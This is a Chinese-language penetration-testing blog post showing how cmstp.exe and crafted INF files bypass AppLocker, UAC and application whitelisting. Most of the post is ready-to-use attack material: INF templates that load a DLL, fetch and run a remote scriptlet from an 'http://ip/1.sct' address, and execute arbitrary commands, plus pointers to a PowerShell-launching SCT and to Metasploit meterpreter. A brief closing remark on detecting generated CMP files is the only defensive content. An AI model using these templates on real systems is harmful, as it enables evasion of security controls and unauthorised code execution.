白名单-CMSTP配置文件利用

预祝新年快乐!CMSTP配置文件利用

Posted by hmoytx on December 31, 2019

白名单-CMSTP配置文件利用

简介

CMSTP.exe是用于安装Connection Manager服务配置文件的命令行程序。程序接受INF配置文件作为参数。攻击者可以向CMSTP.exe提供受恶意命令感染的INF文件,以脚本(SCT)和DLL的形式执行任意代码。CMSTP是一个受信任的Microsoft二进制文件,位于以下两个Windows目录中:

C:\Windows\System32\cmstp.exe
C:\Windows\SysWOW64\cmstp.exe

DLL

AppLocker默认规则允许在这些文件夹中执行二进制文件,因此我们可以用它来作为bypass的一种方法。使用这个二进制文件可以绕过AppLocker和UAC。因为传输的并不是二进制文件,所以也会绕过一些杀软的白名单。
INF文件的内容有很多项,我们想要利用INF文件,只需要保留一些重要的项,以下是简化的INF文件内容:

[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:\test.dll
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"

其中INF文件的RegisterOCXSection需要包含恶意DLL文件的本地路径或远程执行的WebDAV位置。
然后执行命令:

cmstp.exe /s cmstp.inf

我在测试中使用DLL加载并没有成功,可能是我的dll存在问题,用了cs生成的也没有用。

SCT

除了DLL文件外,cmstp还能够运行SCT文件,在实际操作中扩展了二进制的可用性。
这里贴一个大佬写的用来调用PS的SCT文件。
https://gist.github.com/NickTyrer/0604bb9d7bcfef9e0cf82c28a7b76f0f
修改inf文件内容:

[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://ip/1.sct
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"

191231_1
这里也自然而然的也可以联动msf去获取一个meterpreter,我这里就不演示了。

命令执行

我们还可以将RegisterOCXSection 换成RunPreSetupCommandsSection,在此项下可以直接执行命令程序。
修改inf文件内容如下:

[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
RunPreSetupCommands=RunPreSetupCommandsSection
[RunPreSetupCommandsSection]
c:\windows\system32\notepad.exe
taskkill /IM cmstp.exe /F
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"

然后执行,可以看到弹出记事本。
191231_2
同理我们也可以将执行的命令或者程序替换成我们自己的文件,去获取对应的会话,这里我也不演示了,赶着2019最后一天发出来。

总结

CMSTP可以用来绕过Apple限制和代码执行,也可以配合powershell进行文件不落地,我是没有试过张口就来了。但是CMSTP需要INF文件并在执行时生成一个CMP文件,它是连接管理器设置文件。因此,可以通过监视文件来起到一定的对抗作用。

祝各位2020快乐,明年继续做个快乐的安全仔。